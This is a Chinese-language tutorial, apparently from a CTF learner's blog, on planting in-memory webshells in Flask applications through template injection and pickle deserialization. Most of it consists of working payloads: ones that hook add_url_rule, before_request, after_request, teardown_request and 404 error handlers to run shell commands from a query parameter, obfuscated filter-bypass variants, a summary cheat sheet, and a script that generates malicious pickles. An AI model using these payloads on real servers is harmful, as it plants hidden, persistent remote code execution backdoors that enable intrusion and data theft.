Flask内存马学习


要学内存马了,先学点简单的,从flask内存马开始

内存马简介

内存马内存马,众所周知就是写在内存里的webshell,而且不会写文件到系统里(

大嘘,总之内存马就是一种webshell,这种webshell和平时不同的是这种webshell不会生成文件,而是存在于内存当中为我们调用,而成功打内存马之后会有一个新的路径例如/shell,这个路由并不真实存在,但是可以供我们访问,我们便可以在这里进行rce,而且是有回显的

因此,在无回显不出网的命令执行里,一般可以选择使用内存马进行攻击

flask内存马

对于java的内存马分为几类:

  • filter型
  • servlet型
  • listener型

但是其本质都是通过动态注册 Servlet或者filter及其映射路由,以及动态注册listener进行攻击的

因此能否动态注册便成为了我们能否打内存马的关键,回到flask,我们不管是出题还是写开发要利用到flask框架的大概都知道,写一个路由的时候都需要用@app.route('xxx'),这是flask常规注册路由的方式

而实际工作的函数为该装饰器里调用的方法:self.add_url_rule(),如图:

通过上面的图还可以得到add_url_rule具有三个参数:

  • url,和app.route的第一个参数一样,必须以/开始
  • endpoint,使用url_for进行反转的时候传入的第一个参数,也可以不填,默认为函数名
  • view_func,只需要写方法名,无需添加括号,该页面实现的方法函数

也就是说可以通过该方法手动添加一个路由,关键就在于利用view_func让该页面实现我们的函数即可。view_func需要实现获取参数执行命令返回结果这三个方法。

一篇文章里讲述了flask路由的工作原理:

  • 实例化一个Request Context,该上下文请求将请求的信息封装到了Request中
  • Context入栈,这个栈叫_request_ctx_stack

省流:如果我们想获取到这个参数,也就是request的上下文,就只需要获得这个栈的栈顶,也就是_request_ctx_stack

ssti与内存马

因此我们就可以通过ssti执行这个函数,构造一个路由:

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import('os').popen(_request_ctx.stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

看着一坨,实际上很好理解:

  • lambda:一个匿名函数,实际上就是/shell这个路由绑定了下面这个函数__import('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read()
  • eval:eval其实有两个参数,eval(expression, globals),可以看见匿名函数里有app_request_ctx_stack,这两个需要通过eval的第二个参数进行声明,并从全局命名空间里被找到。简单的说就是在eval的第二个参数里定义app和这个stack在哪里找得到。注意globals必须是一个字典

实践

提示:此部分在高版本flask下已经失效,add_url_rule已经不能够再生效了,如需高版本下的flask内存马,请看下文


简单整一个ssti,但是此处模拟无回显+不出网的效果:

如果url_for没有current_app,可以换成get_flashed_messages

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import('os').popen(_request_ctx.stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':get_flashed_messages.__globals__['current_app']})}}

此处将源码修改为无回显情况:

测试我们的内存马:

1
{{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:get_flashed_messages.__globals__[%27current_app%27]})}}

flask高版本下是不行了?还是我姿势不对。。。

晕,不纠结了,也不太重要,payload放这里

哦对了,要记住,这里是通过render_template_string才能触发的哦

bypass

参考ssti的bypass

  • url_for == get_flashed_messages
  • exec == eval
  • 中括号里的字符串可以拼接
  • 过滤中括号可以利用getitem
  • __globals__ 可以利用__getattribute__('globals')替换
  • 编码绕过、requests等

两个变形payload:

1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
1
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/shell', 'shell', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('cmd')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

高版本下的flask内存马

既然add_url_rule失效了,那我们就需要找其他的方式添加路由了,几个钩子

Flask 学习-67.钩子函数

@app.before_request

官方文档里,@app.before_request的作用就是注册一个在每次请求之前先运行的函数

往下看它的实现,是before_request_funcs

1
2
3
4
@setupmethod
def before_request(self, f):
self.before_request_funcs.setdefault(None, []).append(f)
return f

那照猫画虎一下,其实就是利用app.before_request_funcs.setdefault(None, []).append(f),本质是注册一个函数,所以f就是我们利用的lambda匿名函数

那就可以手搓一个payload如下(ssti):

1
{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

为什么用get_flashed_messages已经在上面说过了,是因为我的url_for没有current_app

测试环境:

可以看到内存马已经生效了:

如果不想这么麻烦的话,其实app等效于:__import__('sys').modules['__main__'].__dict__['app'],request可以直接写命令,例如:

如果没有直接的ssti点就可以用这个payload打

1
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())")

这个形式的内存马还是很漂亮的(起码比下面那个好看的多)

但是这么好看的内存马还是有缺点的(会影响到主机的正常业务,但是你都打ctf了还在意这主机有没有问题?

@app.after_request

before_request的好兄弟after_request,顾名思义他是在请求之后生效的

同样翻文档找一下它的实现函数,如果没猜错的话应该是after_request_funcs

还真是

再找一下它是怎么写这个函数的:

网图找不到了只能自己翻vscode找flask的源码了
1
2
3
4
5
6
7
8
9
@setupmethod
def after_app_request(self, f: T_after_request) -> T_after_request:
"""Like :meth:`after_request`, but after every request, not only those handled
by the blueprint. Equivalent to :meth:`.Flask.after_request`.
"""
self.record_once(
lambda s: s.app.after_request_funcs.setdefault(None, []).append(f)
)
return f

利用s.app.after_request_funcs.setdefault(None, []).append(f)打,但是这里有一些限制就是。after_app_request需要返回一个response对象,这就是这个函数比较难接受的地方

我们还需要通过make_response重新生成一个response,带着我们rce后的结果返回

简单地说就是重写一个函数,如果有cmd这个请求就返回make_response(os.popen(request.args.get('cmd')).read()),否则直接返回resp

写成lambda函数如下:

1
2
3
4
5
6
7
8
lambda resp:
CmdResp if request.args.get('cmd') and
exec('
global CmdResp;
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())
')==None
else resp)
#这里的cmd和CmdResp可以换成其他,避免影响正常业务的话可以改成业务中不存在的变量

写成ssti

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

属实不怎么好看。。。但是能用

不推荐使用该方式写内存马()

@app.teardown_request

teardown_request是在每次请求后,即使遇到了异常情况,都会绑定一个函数。如果有相关异常信息抛出,它会接受异常信息

同样利用:self.teardown_request_funcs.setdefault(None, []).append(f)来注册一个函数

所以他们是三兄弟(

直接写payload了,注意这个函数会接受异常信息,所以要加个参数:

1
{{url_for.__globals__['__builtins__']['eval']("app.teardown_request_funcs.setdefault(None, []).append(lambda error:__import__('os').popen(request.args.get('cmd')).read())", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

可惜它是无回显的,只能够通过写文件测试效果:

严格意义上这个已经不能被称为内存马了,故不太推荐,只有在允许写的情况下才能拿到结果

error_handler

另一个能够处理错误的就是error_handler。flask给出的实例是通过该方法自定义404页面和500页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@setupmethod
def errorhandler(
self, code_or_exception: type[Exception] | int
) -> t.Callable[[T_error_handler], T_error_handler]:
"""Register a function to handle errors by code or exception class.

A decorator that is used to register a function given an
error code. Example::

@app.errorhandler(404)
def page_not_found(error):
return 'This page does not exist', 404

You can also register handlers for arbitrary exceptions::

@app.errorhandler(DatabaseError)
def special_exception_handler(error):
return 'Database connection failed', 500

This is available on both app and blueprint objects. When used on an app, this
can handle errors from every request. When used on a blueprint, this can handle
errors from requests that the blueprint handles. To register with a blueprint
and affect every request, use :meth:`.Blueprint.app_errorhandler`.

.. versionadded:: 0.7
Use :meth:`register_error_handler` instead of modifying
:attr:`error_handler_spec` directly, for application wide error
handlers.

.. versionadded:: 0.7
One can now additionally also register custom exception types
that do not necessarily have to be a subclass of the
:class:`~werkzeug.exceptions.HTTPException` class.

:param code_or_exception: the code as integer for the handler, or
an arbitrary exception
"""

def decorator(f: T_error_handler) -> T_error_handler:
self.register_error_handler(code_or_exception, f)
return f

return decorator

在调用时会调用register_error_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@setupmethod
def register_error_handler(
self,
code_or_exception: type[Exception] | int,
f: ft.ErrorHandlerCallable,
) -> None:
"""Alternative error attach function to the :meth:`errorhandler`
decorator that is more straightforward to use for non decorator
usage.

.. versionadded:: 0.7
"""
exc_class, code = self._get_exc_class_and_code(code_or_exception)
self.error_handler_spec[None][code][exc_class] = f

调用了error_handler_spec整了个一个函数

看一下逻辑:none不用管,code和exc_class是_get_exc_class_and_code得到的,我们可以照写,这里可以返回status code,假设状态码为404:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@staticmethod
def _get_exc_class_and_code(
exc_class_or_code: type[Exception] | int,
) -> tuple[type[Exception], int | None]:
"""Get the exception class being handled. For HTTP status codes
or ``HTTPException`` subclasses, return both the exception and
status code.

:param exc_class_or_code: Any exception class, or an HTTP status
code as an integer.
"""
exc_class: type[Exception]

if isinstance(exc_class_or_code, int):
try:
exc_class = default_exceptions[exc_class_or_code]
except KeyError:
raise ValueError(
f"'{exc_class_or_code}' is not a recognized HTTP"
" error code. Use a subclass of HTTPException with"
" that code instead."
) from None
else:
exc_class = exc_class_or_code

if isinstance(exc_class, Exception):
raise TypeError(
f"{exc_class!r} is an instance, not a class. Handlers"
" can only be registered for Exception classes or HTTP"
" error codes."
)

if not issubclass(exc_class, Exception):
raise ValueError(
f"'{exc_class.__name__}' is not a subclass of Exception."
" Handlers can only be registered for Exception classes"
" or HTTP error codes."
)

if issubclass(exc_class, HTTPException):
return exc_class, exc_class.code
else:
return exc_class, None

此时exc_class, code = _get_exc_class_and_code(404)

我们再覆盖404页面的f即可,当访问不存在的页面的时候进行error_handler处理就能够处理404页面时调用我们的恶意函数

这个app还是可以等效替代成内什么__import__('sys').modules['__main__'].__dict__['app']

1
exec("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('qwq')).read()")

ssti版本,大同小异:

1
{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('qwq')).read()", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

这里对error_handler的理解比较浅显,大致可以理解成flask利用error_handler处理异常时利用上面所说的几个函数注册了自定义异常页面,然后我们就可以通过这几个函数覆盖错误页面的函数f,导致访问404页面的时候造成rce,详细的追踪过程可以去看gxngxngxn师傅的这篇文章

ssti_version

小总结

原始版

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell','shell',lambda:__import('os').popen(_request_ctx.stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

@app.before_request

1
{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

@app.after_request

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

@app.teardown_request

1
{{url_for.__globals__['__builtins__']['eval']("app.teardown_request_funcs.setdefault(None, []).append(lambda error:__import__('os').popen(request.args.get('cmd')).read())", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

error_handler

1
{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('qwq')).read()", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

pickle version

假设有些时候不给你ssti,给你pickle,那你要怎么办呢?

上文说过app可以通过__import__('sys').modules['__main__'].__dict__['app']来拿

这里request也不一定要在全局定义,所以我们只需要处理app的问题即可:

简单写个pickle路由处理

写个大杂烩:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import base64
import pickle
import os

def base64_encode(a):
return base64.b64encode(a)

def old_version(): #少用,基本上没有能够用到的地方了 The setup method 'add_url_rule' can no longer be called on the application.
class A():
def __reduce__(self):
return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda:__import('os').popen(request.args.get('cmd')).read())"))

def before_request():
class A():
def __reduce__(self):
return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen(request.args.get('cmd')).read())",))
return pickle.dumps(A())

def after_request():
class A():
def __reduce__(self):
return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))
return pickle.dumps(A())

def teardown_request_normal():
class A():
def __reduce__(self):
return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error:__import__('os').popen(request.args.get('cmd')).read())",))
return pickle.dumps(A())

def teardown_request_b64(): #payload需要通过base64加密再放进去
class A():
def __reduce__(self):
return (eval, ("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error:__import__('os').system(base64.b64decode(request.args.get('cmd')).decode()))",))
return pickle.dumps(A())

def error_handler():
class A():
def __reduce__(self):
return (exec, ("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('cmd')).read()",))
return pickle.dumps(A())

print(base64_encode(error_handler()))

测试截图就不放了,都能打,除了teardown是无回显的要自己测以外

不过都打pickle了,方法不止内存马一种,比如开启debug模式的时候就可以通过raise Exception带出命令等


参考文章: